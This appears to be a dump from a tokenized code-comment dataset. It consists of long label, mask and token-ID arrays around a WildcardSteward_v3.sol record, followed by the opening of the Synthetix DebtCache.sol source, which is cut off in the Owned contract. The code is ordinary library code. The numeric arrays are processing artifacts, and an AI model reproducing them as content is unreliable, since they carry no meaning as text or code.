-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x436b7c9df96668FEc1499400E0F958193A532a36/sources/WildcardSteward_v3.sol
|
mapping from tokenID to the percentage sale cut of wildcards for each token
|
mapping(uint256 => uint256) public wildcardsPercentages;
| 9,304,066 |
[
1,
4625,
348,
7953,
560,
30,
225,
2874,
628,
1147,
734,
358,
326,
11622,
272,
5349,
6391,
434,
21170,
364,
1517,
1147,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
11890,
5034,
516,
2254,
5034,
13,
1071,
21170,
8410,
1023,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: DebtCache.sol
*
* Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/DebtCache.sol
* Docs: https://docs.synthetix.io/contracts/DebtCache
*
* Contract Dependencies:
* - BaseDebtCache
* - IAddressResolver
* - IDebtCache
* - MixinResolver
* - MixinSystemSettings
* - Owned
* Libraries:
* - SafeDecimalMath
* - SafeMath
*
* MIT License
* ===========
*
* Copyright (c) 2021 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint public constant UNIT = 10**uint(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit() external pure returns (uint) {
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint x, uint y) internal pure returns (uint) {
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
}
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
